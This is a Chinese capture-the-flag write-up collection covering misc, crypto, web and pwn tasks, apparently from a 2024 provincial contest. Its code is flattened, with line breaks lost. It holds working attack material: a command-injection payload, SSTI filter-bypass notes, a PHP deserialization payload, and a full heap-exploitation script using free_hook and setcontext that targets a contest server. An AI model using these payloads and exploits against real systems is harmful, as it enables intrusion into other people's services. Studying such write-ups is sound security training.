『ds-findphone』
原题链接：
https://dexterjie.github.io/2024/12/01/%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/2024%E7%AC%AC%E4%BA%8C%E5%B1%8A%E7%A6%8F%E5%BB%BA%E7%9C%81%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B/#ezma解密脚本
import reimport csvtmp = [734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778,782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766,767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789,790, 791, 793, 799]data = open('data.txt','rb').read()f = open('output.csv', 'w', newline='', encoding='utf-8')writer = csv.writer(f)head = ['category','value']writer.writerow(head)for i in tmp:t = str(i).encode()pattern = t + rb'd{8}'matches = re.findall(pattern, data)formatchin matches:print(match)message = ['phone',match.decode()]writer.writerow(message)
DASCTF{37522664565224857214829962885285}
MISC
提出来一个文件
-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcxPkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1JRAcfJSQCvaw6O8uq3wIDAQAB-----END PUBLIC KEY-----
分析指令发现是把x替换成i或7
xx34d619x1brxgd9mgd4xzxwxytv669wfrom itertools import product# 原始字符串original = "xx34d619x1brxgd9mgd4xzxwxytv669w"# 找到所有 'x' 的位置positions = [i for i, charin enumerate(original) if char=='x']# 生成所有组合replacements = product('i7', repeat=len(positions))# 替换并生成所有可能字符串results = []for combo in replacements:temp = list(original)for pos, repl in zip(positions, combo):temp[pos] = replresults.append(''.join(temp))# 输出所有可能性forresultin results:print(result)ii34d619i1brigd9mgd4iziwiytv669wii34d619i1brigd9mgd4iziw7ytv669wii34d619i1brigd9mgd4iz7wiytv669wii34d619i1brigd9mgd4iz7w7ytv669wii34d619i1brigd9mgd47ziwiytv669wii34d619i1brigd9mgd47ziw7ytv669w有两千多个就先写这么多吧
U2FsdGVkX18tplkP51SopY26cczUyjuT8tP9j3Ofqv5XF5njA7CygY125iYhxplSQTNoT/kcwoN1z+4a4r/+9JtONfutcHXoyCv2tLseBHr802V/RRtFaZnZc3DM/trRmjk5SAyMSgvN+laSp6uK8eAOq7yKWq7FI+En5cu+j7+bxiuceviSoJ9gEw3SfEMtz4rYbKHagq8aCAlKPEevM+HVSnGSrMoy6QS8oQPgHkafdVj2m1HmfkdQFL5q7qYvrxVlRLbm657I0VIIusf8Q6+rsvlh28HrE3MzLlu6fd/cQ7nsZKuKYo0u4pc/yvI3RZglrd7Fb6piO4ryhs2g1g==from base64 import b64decodefrom Crypto.Cipher import AESfrom Crypto.Hash import MD5import osdefderive_key_and_iv(password, salt, key_length, iv_length):d = d_i = b''whilelen(d) < key_length + iv_length:d_i = MD5.new(d_i + password + salt).digest()d += d_ireturn d[:key_length], d[key_length:key_length+iv_length]defdecrypt_openssl(enc, password):data = b64decode(enc)if data[:8] != b"Salted__":raise ValueError("Invalid OpenSSL-encrypted data")salt = data[8:16]key, iv = derive_key_and_iv(password.encode('utf-8'), salt, 32, 16)cipher = AES.new(key, AES.MODE_CBC, iv)decrypted = cipher.decrypt(data[16:])padding_length = decrypted[-1]return decrypted[:-padding_length]defbrute_force_decrypt(ciphertexts, key_file):withopen(key_file, 'r') as f:keys = f.readlines()for key in keys:key = key.strip()for i, ciphertext inenumerate(ciphertexts):try:print(f"Trying key: {key} on ciphertext {i+1}")decrypted_text = decrypt_openssl(ciphertext, key)print("nDecryption successful!")print("Ciphertext index:", i+1)print("Correct key:", key)print("Decrypted text:", decrypted_text.decode('utf-8'))return i, key, decrypted_text.decode('utf-8')except Exception as e:print(f"Decryption failed, error message: {e}")passprint("Decryption failed with all provided keys.")returnNone, None, Noneciphertexts = ["U2FsdGVkX18tplkP51SopY26cczUyjuT8tP9j3Ofqv5XF5njA7CygY125iYhxplSQTNoT/kcwoN1z+4a4r/+9JtONfutcHXoyCv2tLseBHr802V/RRtFaZnZc3DM/trRmjk5SAyMSgvN+laSp6uK8eAOq7yKWq7FI+En5cu+j7+bxiuceviSoJ9gEw3SfEMtz4rYbKHagq8aCAlKPEevM+HVSnGSrMoy6QS8oQPgHkafdVj2m1HmfkdQFL5q7qYvrxVlRLbm657I0VIIusf8Q6+rsvlh28HrE3MzLlu6fd/cQ7nsZKuKYo0u4pc/yvI3RZglrd7Fb6piO4ryhs2g1g==",]key_file = "./1.txt"index, key, decrypted_text = brute_force_decrypt(ciphertexts, key_file)if index isnotNone:print(f"nCorrect ciphertext index: {index+1}")print(f"Correct key: {key}")print(f"Decrypted text: {decrypted_text}")
最后得出密钥是
i734d619i1brigd9mgd4xz7w7ytv669w解密结果
Delta Alpha Sierra Charlie Tango Foxtrot Three Foxtrot Delta Three Four Bravo Five Nine Dash Four Echo Nine Delta Dash Four Three Nine Zero Dash Nine Two Seven Bravo Dash One Three Four Six Delta Five Three Six Four Delta Nine Nine
D A S C T F 3 F D 34B59 - 4 E 9 D - 4390 - 927B - 1346 D 5364 D 99
imageinfo查看内存镜像信息
Filescan发现桌面有flag.zip文件
导出之后，发现zip损坏
在editbox命令下，发现flag文件被打乱，下边是打乱的代码
简单分析原理后交给AI打磨逆向脚本：
recovered_f =open('./new.zip', 'rb').read()recovered_L = len(recovered_f)# 计算原文件长度，根据原脚本逻辑，每轮循环取10字节（各5字节前后部分），这里通过取整判断循环次数反推原长度original_L = (recovered_L //10) *10# 创建字节数组用于存放恢复后的原始文件内容original_data = bytearray(original_L)# 循环次数根据计算出来的原文件长度对应的合理循环次数loop_count = original_L //10for i inrange(loop_count):# 提取原脚本中靠前写入的5个字节，放置到恢复内容的对应位置（5*i位置开始）original_data[5* i: 5* i +5] = recovered_f[10* i: 10* i +5]# 提取原脚本中靠后写入的5个字节，放置到恢复内容的对应位置（从原文件末尾往前对应位置）original_data[original_L -5* i -5: original_L -5* i] = recovered_f[10* i +5: 10* i +10]if recovered_L %10!=0:remainder = recovered_L %10if remainder <=5:original_data[:remainder] = recovered_f[-remainder:]else:original_data[:5] = recovered_f[-(remainder):-(remainder -5)]original_data[original_L - (remainder -5):original_L] = recovered_f[:(remainder -5)]withopen('./recovered_flag.zip', 'wb') as recovered_file:recovered_file.write(original_data)
恢复成功，还差个密码，继续在内存中找
Filescan命令，再图片文件夹里找到了个password，导出来
导出来发现是图片
010查看，发现还有一个在尾部，foremost分离
发现是flag.zip,用ai去马赛克
解压后得到flag
REFTQ1RGe2RlYmVmMTBjLTA1YmItNGVhNy04ZDAxLWE1ZmRmMmEyNDZiN30
DASCTF{debef10c-05bb-4ea7-8d01-a5fdf2a246b7}
https://mp.weixin.qq.com/s/me3pY_xa2RIHOncin9B5QA
DASCTF{M0Y_W1sh_Y0u_LogF1le_Usg32WEM}
https://mp.weixin.qq.com/s/me3pY_xa2RIHOncin9B5QAoremost
ps手搓
DASCTF{014c6e74-0c4a-48fac6e74-0c4a-48fa盲水印
DASCTF{014c6e74-0c4a-48fa-8b33-ced16f847e39}
把他看成两个4x4的矩阵，通过他的变换规则写出还原脚本
from PIL import Imagedef split_image_into_8x8_blocks(image_path):# 打开图片img = Image.open(image_path)width, height = img.size# 初始化一个列表，用于存储所有的 8x8 矩阵blocks = []# 遍历图片，按 8x8 的块分割for y in range(0, height, 8): # 按行遍历for x in range(0, width, 8): # 按列遍历# 裁剪当前的 8x8 块block = img.crop((x, y, x + 8, y + 8))blocks.append(block)return blocks, img.sizedef split_8x8_into_4x4(block):# 将 8x8 矩阵分成 4 个 4x4 子矩阵sub_blocks = [block.crop((0, 0, 4, 4)), # 左上block.crop((4, 0, 8, 4)), # 右上block.crop((0, 4, 4, 8)), # 左下block.crop((4, 4, 8, 8)) # 右下]return sub_blocksdef swap_top_right_bottom_left(sub_blocks):# 交换右上和左下的子矩阵sub_blocks[1], sub_blocks[2] = sub_blocks[2], sub_blocks[1]return sub_blocksdef merge_4x4_into_8x8(sub_blocks):# 将 4 个 4x4 子矩阵合并成一个 8x8 矩阵new_block = Image.new("RGB", (8, 8))new_block.paste(sub_blocks[0], (0, 0)) # 左上new_block.paste(sub_blocks[1], (4, 0)) # 右上new_block.paste(sub_blocks[2], (0, 4)) # 左下new_block.paste(sub_blocks[3], (4, 4)) # 右下return new_blockdef save_processed_image(blocks, original_size, output_path):# 将处理后的块重新组合成图片new_img = Image.new("RGB", original_size)block_index = 0for y in range(0, original_size[1], 8):for x in range(0, original_size[0], 8):new_img.paste(blocks[block_index], (x, y))block_index += 1# 保存结果new_img.save(output_path)# 主函数def process_image(image_path, output_path):# 1. 分割图片为 8x8 矩阵blocks, original_size = split_image_into_8x8_blocks(image_path)# 2. 处理每个 8x8 矩阵processed_blocks = []for block in blocks:# 2.1 将 8x8 矩阵分成 4x4 子矩阵sub_blocks = split_8x8_into_4x4(block)# 2.2 交换右上和左下的子矩阵sub_blocks = swap_top_right_bottom_left(sub_blocks)# 2.3 将 4x4 子矩阵合并成 8x8 矩阵new_block = merge_4x4_into_8x8(sub_blocks)# 2.4 保存处理后的块processed_blocks.append(new_block)# 3. 保存结果save_processed_image(processed_blocks, original_size, output_path)# 示例调用image_path = "PixMatrix.jpg" # 替换为你的图片路径output_path = "processed_image.jpg" # 保存处理后的图片路径process_image(image_path, output_path)print(f"处理完成，结果已保存到 {output_path}")
DASCTF{824f1e986260efa86f1bd252b5e13a4d)
https://dexterjie.github.io/2024/12/01/%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/2024%E7%AC%AC%E4%BA%8C%E5%B1%8A%E7%A6%8F%E5%BB%BA%E7%9C%81%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B/#Cryptoimport gmpy2import libnumdef continuedFra(x, y):"""计算连分数:param x: 分子:param y: 分母:return: 连分数列表"""cf = []while y:cf.append(x // y)x, y = y, x % yreturn cfdef gradualFra(cf):"""计算传入列表最后的渐进分数:param cf: 连分数列表:return: 该列表最后的渐近分数"""numerator = 0denominator = 1for x in cf[::-1]:# 这里的渐进分数分子分母要分开numerator, denominator = denominator, x * denominator + numeratorreturn numerator, denominatordef solve_pq(a, b, c):"""使用韦达定理解出pq，x^2−(p+q)∗x+pq=0:param a:x^2的系数:param b:x的系数:param c:pq:return:p，q"""par = gmpy2.isqrt(b * b - 4 * a * c)return (-b + par) // (2 * a), (-b - par) // (2 * a)def getGradualFra(cf):"""计算列表所有的渐近分数:param cf: 连分数列表:return: 该列表所有的渐近分数"""gf = []for i in range(1, len(cf) + 1):gf.append(gradualFra(cf[:i]))return gfdef wienerAttack(e, n):""":param e::param n::return: 私钥d"""cf = continuedFra(e, n)gf = getGradualFra(cf)for d, k in gf:if k == 0: continueif (e * d - 1) % k != 0:continuephi = (e * d - 1) // kp, q = solve_pq(1, n - phi + 1, n)if p * q == n:return dn = 114566998957451783636756389276471274690612644037126335470456866443567982817002189902938330449132444558501556339080521014838959058380963759366933946623103869574657553262938223064086322963492884606713973124514306815995276393344755433548846003574038937940253826360659447735554684257197194046341849089254659225497e = 35489734227210930185586918984451799765619374486784192218215354633053183935617953856556709715097294481614236703293033675674496036691242573294182072757562322996800390363453350727372642264982749305833933966045097125311467413670410802534093354414115267442785896373815076066721029449240889291057288090241124904705c = 60503455347700500866544596012233537789678841391057706123172519773588895502922586197178148979273264437566411675346207472455036341903878112074983509557751805365618433536738111588239911292341288514123006967218545943520736254346030465088445419278775539026233686559207400401082452551955780877227801939191694370380d=wienerAttack(e, n)m=pow(c, d, n)print(libnum.n2s(m).decode())
DASCTF{e694f0b4e9556021d1bc9e8deedba575}
from Crypto.Util.number import *from hashlib import sha256def enc(pt, G, A, T, S, p):s = randint(0,p-1)D = G^sE = A*T*AF = D*E*DK = list(D*S*D)key = sum(K[0])+sum(K[1])+sum(K[2])mask = int(sha256(str(key).encode()).hexdigest(),16)ct = pt ^^ maskreturn ct, Fp = 72887242108660141996862343556330151015969690949835567252527194788428065480383Fp2.<i> = GF(p^2, modulus=x^2+1)M = MatrixSpace(Fp2, 3, 3)pk = ([(17721183402259872020800275954210023274983052570120081248291897425608931477093*i + 32398110280895896734010284949974832063887503132353681078977206899204202173789, 54531634495057046991515273558305428867102201405617856305008554208336946545276*i + 53559176432820530464958340934397135653021175198597495321065224929188410347695, 27719945502856754481236098196014205483081586087367078493933408080194499938927*i + 1450628736387393873166171805424299538505476789523674611289973478290718453200), (57242423786686483363839647362581564383925732392730073374546590355998555747077*i + 573726326354574516128249317235875704460857319673337707555095009277545125755, 33631043256657770245013631632455702904903259491780484310654749784948198388976*i + 17344746653834202604930860577508757708688427949046279718508635007113840369042, 37771390186920740637371383242878514021347606565375600086363978842439775164973*i + 60264754185911116825495147907207494752330900415794996812483089251259003404228), (1163730453993018743008743150834548760986076138562570206571825145859591284352*i + 69245390362211526197537288211735612650619880945856387683074182933575799994162, 11137807706588795799057940108843238078078690609437386007163034291855328303661*i + 50795522649623533714787572047531722836395032085224035511036953078383612475598, 14354786571703727534706086386589187674076604263117377684131521866407943036307*i + 63028649680815097939155846824928638616844025040257105384123424769274942520895)], [(22137116252880790433838296157765927318220905592359967466680754349755815464341*i + 35503968364379821899511866562472775961434113516937033217642581531414863539290, 38346074307552448152239080224505166810289185210503265380269711384969731945517*i + 9333819647786551924409858116441570177115099865486742684028611902450000042407, 24608192510515673607042276468532809071945836783394960695059783085937608049755*i + 27099766371861599260580052331632986107092105438254563604629919595057370886149), (57539731529782952718529369617033412770127782205874818027724894673104814770991*i + 12431864123786174601413168140961685219607645783666490625760143190724674574386, 33510082449726132893492104159133966168598115972734064630878005553829725389082*i + 30594711977745700371548334707069524826346332947574826081979927125841475148328, 8911862104171403632946802970568635607253840071000107875759139060453368618583*i + 51594672749496705581452789883241278156858476777167382827032876227546058970732), (58105830161247358431125768499050987088161417325586965601350797391396603985470*i + 10949064084676782939947256128733523229613253182051362970560478801614590446300, 6665352489343222248969975791152178151760060704226637217535985452272551528693*i + 16163109497937280055564868323730465088174193174761590036929535644203224067166, 26147088265849488467397913386934580340556987670869413865359802108333761377560*i + 14170094609019059182842713618319151553137248441974849089555832123638494739417)], [(60066006389024369318961505483331049048095679333675437984483948643792214278503*i + 67617085525047580942273623886038114942547589259839196477555874755427651308048, 38692305959834079988532869421062338838072016075793686080934562521314366274998*i + 21104829450473981189549299039898127784065322316764325995863199136802573514, 7207625628360021282792621977024027446511231977201394776410095364976996279450*i + 23039079766688651678553952766794875180844089420934577132338235904018762773928), (10808368042897084491009063074724200907600038030639153659288985642861405920614*i + 33955795465220353002933680692690511153845418737513482128237117905262919879043, 21645210772494061734726430463955231707074915293749580279327741388687068110310*i + 62225984739450865202997071369617271241348810092608626482294704825641320606694, 14572118842071162051223076904993643512402905544627821044103215186921277812496*i + 63504547636870837320642724540312613748726280369811190421219651308407770510674), (6529211642735966744323364626486352288002532267939478445216264742350974653419*i + 43426895500365913698127867498420593427453574994051597107529725996420257433857, 66636149494607064863031794353485502915121295051850619450321561966293398587284*i + 51049172134567530748763269555600518661288880531459625871071308764595168859033, 42297258788816007263333796194491196601979606573843177791726417124128570106777*i + 45527674821983322767637713856131638914194577467349514130179266972864796164733)], [(47645610858583239528541540288030905132801730740336899517917521534427703920375*i + 13272393664089987551368548207128885229248289454405159277755757369580866096516, 60503024931869977830369448001966194434192750710631225090391559259672930497207*i + 22742672333325631628906219543935772962495637869131049729874762344108069789046, 18239371575343144081671835175136676417172797381923442300525086630600561560114*i + 53605095942301227312866863441233162082087535371838738595931070092230378325532), (49652795839344946948771531270341537200526957150620826334216871981974859849848*i + 72788891932812016325514298655742330969740202920835574638161526839627026310392, 58465406030985457122487065262985150103086610852826560192123766406670919681919*i + 41631921368744416558173670147590406285376603436284660888096365325833457519047, 2867068797023070369258694926242485369317317985428997150826022662547346928319*i + 199536555238705400453079146297641296197748614855192340202929119323998667173), (19319782936524636558881137449470396788888469756320580071801690941326971557928*i + 34694728896207512382372151140975478616355941017631874070450334268575015485538, 60420266086997924618637147844041161464210208935194926422677077391866663978425*i + 13672363312837218411993834816309940812825734002380106434784905443915361955247, 56317025568717741728727542740124505299029374963112095990350877412868385510001*i + 56960621295573230601502052571104746367180500789238336757504091383665514782189)])F = [(36081831373398765496490121898118275331597167308301671911642273861563666664545*i + 20818485079783326431414952124332440995164298376805349071762867760925654560129, 2080527476644284459469754065728582261439110792635520661740429151724797376184*i + 22485923248080983391383279592637691489160934672854638306617785344436031827838, 15544373162545014827602222261755865080947187122261471926061663568794038512828*i + 65994932829738499994169748656063604384011854387402875895186473718226656419067), (3553534440103543686958858303956716887328727627636404431097647427819509340361*i + 41182149981825439188243414995474733005799065992663037326956422731949977723727, 11444151159046255413538671703716370245288291793592500278345001664024824339590*i + 1802783416049323926195923226865768221398255563865542946492803065162093093803, 15739175840903697568714274177182938758189586472507039731239155962622285528109*i + 38249065906628598713138583591858150126778794837077688369911160900556744463900), (14364753807737302773559096493138893453118094354943941768609481298414054855231*i + 16290236676179704559365899211744462983770375364688247022596145726641137243214, 3863306473986430132042752882629555431418515741358351198972027547882636615940*i + 1209446834271293681961506708684952401569936830292701272655835127315444154958, 21868026584808712490812183410257662299067350008298604021123682243508255905173*i + 12828201007038003022201361213007595366913298546122923089499182187938898042596)]ct = 96910798667771988374291172958072220832574586618080134344021393928577220469428A, T, S, G = [M(ii) for ii in pk]F = M(F)############################################################### attackE = A*T*AdetA, detT, detS, detG, detE, detF = A.det(), T.det(), S.det(), G.det(), E.det(), F.det()r = 2244966557637008779362441591080406338119704738381872153797151#R = 80839783875482453208291688688697485912290384775841712705111124172946909733768714734343762988749579725275997021760357500939#r = discrete_log(detG^R, ((detA^(-1)*detT).sqrt())^R, ord=(p^2-1)//R)#s = discrete_log(((detA^(-2)*detT^(-1)*detF).sqrt())^R, detG^R, ord=(p^2-1)//R)#not enough so use cado-nfs
import subprocesscommand = ['./cado-nfs.py','-dlp','-ell', str(r),'target='+str(t1),str(p)]#1541758195020130454925136833461872657607368759409055632195831command = ['./cado-nfs.py','-dlp','-ell', str(r),'target='+str(t2),str(p)]#780392429787953543532147509264510635118839088869098098140941try:result= subprocess.run(command, check=True, text=True, capture_output=True)print(result.stdout)except subprocess.CalledProcessError as e:print(f"ERROR: {e.returncode}")print("ERROR:", e.stderr)
#t2^s = t1Fr = GF(r)s1 = Fr(1541758195020130454925136833461872657607368759409055632195831)s2 = Fr(780392429787953543532147509264510635118839088869098098140941)ss = discrete_log(pow(t1, 6*r, p), pow(t2, 6*r, p), operation="*", ord=(p-1)//r)s = crt([int(ss), int(s1/s2)], [(p-1)//(6*r), r])ss = sfor ii inrange(6):s = ss + ii * (p-1) //6D = G^int(s)K = list(D*S*D)key =sum(K[0])+sum(K[1])+sum(K[2])mask =int(sha256(str(key).encode()).hexdigest(),16)pt = ct ^^ maskif(D.det()*detE*D.det() == detF):print(long_to_bytes(pt))break#QAQ~4_Br0ken_Crypto_Sy5tem~TAT
flag:QAQ~4_Br0ken_Crypto_Sy5tem~TAT
https://blog.csdn.net/luochen2436/article/details/132964576import gmpy2fromCrypto.Util.numberimport *n = 135133139540786818977969958456509467902948924003478556140490841984247464940261764739984274397650928404945721248284577232814352745333641188749824519153271662051302477973525156608141358709265683759057060630360909926255299541198485901065352661702656282587105799982740927802530997159098015074633017964344230291287c = 1836794759996264077871820946090708779709415760553736759453665641907562256633157424959089180650539327925671892742819931875681606982615287882656254828326465758462357812873839261469783652663796071814218493268788421243190729887313099383264588659922912876424206670310928514588754069909128149471326084547056385690037197908766053620702238356084124023146075698878494434053246157524775269473152458661801907641122308756667762880284617915774590075511686821816948174618196839335059944389423693187930672934293905608970421003536691336581450927887931599275461176935079227494931457562345640133982771901848553204154760760399724074615092290799119053032875792219794072963200108352944441876206386518960615891547166767499506114294860833404421893612197040731184031783165365621722947731966143226777081983415797778111715332055871302609049501876860012070502369090417942239749695034267695710324328867728296996779p = 13352463043552409670211183534740157814546713901105410408023687926498813469217507846107364405269402732967687839808637375591530105677153038557366731161035343q = n//pP = (p - q) & ((1 << 130) - 1)m = (c-1)//n*gmpy2.invert(P,n) % nflag = long_to_bytes(m)print(flag)
DASCTF{365d0d2cda3a3836a19bf1f46760d875}
https://blog.csdn.net/luochen2436/article/details/132138412import gmpy2from Crypto.Util.number import *n = 36443283250594259606482132779262570582448178589602577809591307671554949253094255209079689901493052116793388954529442162972106210862341856282788030374324677114528044629385805693771773377070021111949953333360526159026822968061585876873187059674130307295006486032106471182393880915860569773206853864515489855553hint = 57792516722001523643789088224096258172899052039145876393373730235406451592173971020702024058282699663364267742428240581839287357212741266617791207580236457ct = 24482128269957355675512496312977308128712253968496848873519792376434347925427116612997489113223781321628516365811583310346553402215907938918891908853234881284620764982626375301219763593402089309909155204943747718536894186749932544428588048770663458669109073657836937287831725958017345747881678942488157429000R.<x> = Zmod()[]f = 2*x^2 + 7*n - hint*xp = int(f.roots()[0][0])q = n//pe = gmpy2.next_prime(666)-1R.<x> = Zmod(p)[]f = x^e-ctf = f.monic()results1 = f.roots()R.<x> = Zmod(q)[]f = x^e-ctf = f.monic()results2 = f.roots()for i in results1:for j in results2:param1 = [int(i[0]),int(j[0])]param2 = [p,q]m = CRT_list(param1,param2)flag = long_to_bytes(int(m))ifb'DASCTF'in flag:print(flag)break
DASCTF{FastP0w3r_4nd_AMM_0f_R5A}
https://mp.weixin.qq.com/s/me3pY_xa2RIHOncin9B5QAimport requests,resessions = requests.session()for i inrange(31):url = 'http://139.155.126.78:18257/'html = sessions.get(url=url)try:Calculate = re.findall("Calculate: (.*?)<br>",html.text)[0]Correct_Count = re.findall("Correct Count: (.*?)<br>",html.text)[0]answer = eval(Calculate)print(f"提交答案：{answer}")url = 'http://139.155.126.78:18257/'html = sessions.post(url=url,data={"answer":answer})except:print(html.text)
DASCTF{335254ed-c7fc-4be4-b2f2-7c83616b0247}
原题链接：https://mp.weixin.qq.com/s/me3pY_xa2RIHOncin9B5QAsearch存在ssti
使用fenjing一把梭
import , builtins，cat被过滤
用'' 即可绕过
读取flag
DASCTF{a82d4d9ff4b5c4651f0ac8e6af134e4b}
https://mp.weixin.qq.com/s/me3pY_xa2RIHOncin9B5QA
0.0.0.0;ls
可以进行rce
但是这里对长度有限制
使用nl 命令查看当前目录下所有文件的内容
p0pmart.php存在反序列化
error_reporting(0);require_once("flag.php");classpopmart{public$yuki;public$molly;public$dimoo;publicfunction__construct() {$this->yuki = 'tell me where';$this->molly = 'dont_tell_you';$this->dimoo = "you_can_guess";}publicfunction__wakeup() {global$flag;global$where_you_go;$this->yuki = $where_you_go;if($this->molly === $this->yuki) {echo$flag;}}}$pucky = $_GET['wq'];if(isset($pucky)) {if($pucky === "二仙桥") {extract($_POST);if($pucky === "二仙桥") {die("<script>window.alert('说说看，你要去哪？？');</script>");}unserialize($pucky);}}
tcClassLoad.php
error_reporting(0);include"auth.php";classAls{public$text;public$dict;publicfunction__wakeup() {if($this->text == "helloworld") {$this->dict->init();}}publicfunction__toString() {$this->text->undefinedProperty = 'New Value';return"HACKER";}}classKl{public$apple;public$phone;public$var;publicfunction__call($name, $arguments) {echo$this->apple;}publicfunction__get($name) {foreach($_GET as$key => $value) {$$key = $$value;}if($_GET == "Hack") {if(isset($this->var)) {$arr[$this->var] = 1;if($arr[] = 1) {die("Hack!!");} else {$this->content = file_get_contents($this->phone);echo$this->content;}}}}}classGlb{public$boy;public$gay;private$cc;publicfunctioninit($a, $b) {$this->boy = $a;$this->gay = $b;}publicfunction__set($name, $value) {if(isset($this->boy)) {print_r("1314");return$this->boy->name;}}}if(isset($_POST['cmd'])) {$serializecmd = $_POST['cmd'];$unserializecmd = unserialize($serializecmd);$unserializecmd->init();} else {highlight_file(__FILE__);}
classpopmart{public$yuki;public$molly;public$dimoo;publicfunction__construct() {$this->yuki = 'tell me where';$this->molly = 'dont_tell_you';$this->dimoo = "you_can_guess";}}echo serialize(new popmart());# O:7:"popmart":3:{s:4:"yuki";s:13:"tell mewhere";s:5:"molly";s:13:"dont_tell_you";s:5:"dimoo";s:13:"you_can_guess";}
GET：p0pmart.php?wq=二仙桥POST：pucky=O:7:"popmart":3:{s:4:"yuki";s:13:"tell me where";s:5:"molly";s:13:"dont_tell_you";s:5:"dimoo";s:13:"you_can_guess";}&where_you_go=dont_tell_you
保护全开。
对于edit函数：
edit函数存在off-by-one漏洞。可以先布置堆风水，然后来进行后面一系列操作。
对于show函数;
这里通过减去0x202160可以泄露代码段的基地址。
思路：
利用off-by-one漏洞泄露出程序代码段的基地址，然后劫持_IO_2_1_stdout_泄露libc.
由于本题禁用了execve，所以不能用system和onegadget这类的函数。可以考虑打ORW，
修改free_hook的值，控制程序执行流程。使用setcontext函数来劫持栈，这是因为在某些版本的glibc中，setcontext可以用来执行任意代码
把shell写到free_hook周围，jmp过去执行我们的shellcode。
如上可知libc偏移是0x3ed8b0,之后就按照思路打就行了
from pwn import *from LibcSearcher import *# context(log_level='debug',arch='i386', os='linux')context(log_level='debug',arch='amd64', os='linux')pwnfile = "./ezheap"# io = remote("139.155.126.78",24982)# io = process(pwnfile)elf = ELF(pwnfile)libc = ELF("./libc.so.6")s = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)r = lambda num=4096 :io.recv(num)ru = lambda delims :io.recvuntil(delims)itr = lambda :io.interactive()uu32 = lambda data :u32(data.ljust(4,b'x00'))uu64 = lambda data :u64(data.ljust(8,b'x00'))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))lg = lambda address,data :log.success('%s: '%(address)+hex(data))gadget = [0xe3b04,0xe3b01,0xe3afe,0xf1147]def add(idx,size):sla(b"Your choice:",b"1")sla(b'index:',str(idx))sla(b"Size:",str(size))def edit(idx,data):sla(b"Your choice:",b"2")sla(b'index:',str(idx))ru(b"context: ")s(data)def free(idx):sla(b"Your choice:",b"3")sla(b'index:',str(idx))def show(idx):sla(b"Your choice:",b"4")sla(b"choose:",str(idx))def pwn():add(0,0x18) #0add(1,0x68) #1add(2,0x68) #2add(3,0x18) #3edit(0,b'x00'*0x18+p8(0xe1))free(1)add(4,0xd8)show(4)ru(b"n")main_addr =int(io.recv(14),16)-0x202160print("main_addr------------->: ",hex(main_addr))free(2)edit(4,b'x00'*0x68+p64(0x71)+p64(main_addr+0x202020))add(5,0x68)add(6,0x68)add(7,0x68)edit(7,p64(0xfbad1800) + p64(0)*3+ b'x00')libc_base= u64(io.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))-0x3ed8b0print("libc_base------------------->: ",hex(libc_base))rdi = libc_base+libc.search(asm("pop rdinret")).__next__()rsi = libc_base+libc.search(asm("pop rsinret")).__next__()rdx = libc_base+libc.search(asm("pop rdxnret")).__next__()rax = libc_base+libc.search(asm("pop raxnret")).__next__()ret = libc_base+libc.search(asm("ret")).__next__()syscall=libc_base+libc.search(asm("syscallnret")).__next__()jmp_rsp=libc_base+libc.search(asm("jmp rsp")).__next__()free_hook=libc_base+libc.sym['__free_hook']setcontext=libc_base+libc.sym['setcontext']+53open_addr=libc_base+libc.sym['open']read_addr=libc_base + libc.sym['read']write_addr=libc_base + libc.sym['write']payload=(b'x00'*0x68+p64(0)+p64(free_hook&0xfffffffffffff000)+p64(0)*2+p64(0x2000)).ljust(0xa0,b'x00')+p64(free_hook&0xfffffffffffff000)+p64(syscall)add(8,0x18)add(9,0x58)add(10,0x58)add(11,0x18)edit(8,b'x00'*0x18+p8(0xc1))free(9)add(12,0xb8)free(10)edit(12,b'x00'*0x58+p64(0x61)+p64(free_hook))add(13,0x58)add(14,0x58)edit(14,p64(setcontext))add(15,0x400)edit(15,payload)free(15)payload = p64(rdi)+p64(free_hook&0xfffffffffffff000)payload += p64(rsi)+p64(0x1000)payload += p64(rdx)+p64(7)payload += p64(rax)+p64(10)payload += p64(syscall) #mprotect(free_hook&0xfffffffffffff000,0x1000,7)payload += p64(jmp_rsp)payload += asm(shellcraft.open('/flag'))payload += asm(shellcraft.read(3,free_hook+0x300,0x30))payload += asm(shellcraft.write(1,free_hook+0x300,0x30))sl(payload)itr()if __name__ == "__main__":while True:# io = process(pwnfile)io = remote("139.155.126.78",28809)try:pwn()except:io.close()
DASCTF{17426987630018936403289199453850}
这里改retaddr为vuln的地址。
这里有个任意地址写的漏洞和栈溢出的漏洞。把__stack_chk_fail改成vuln中ret的地址，当程序报错时任然会执行后面的代码进而栈溢出。
然后本题能写shellcode，还有个jmp_rsp的指令。所以在栈上布置我们的shellcode，然后jmp跳到我们的shell上执行代码，拿到shell
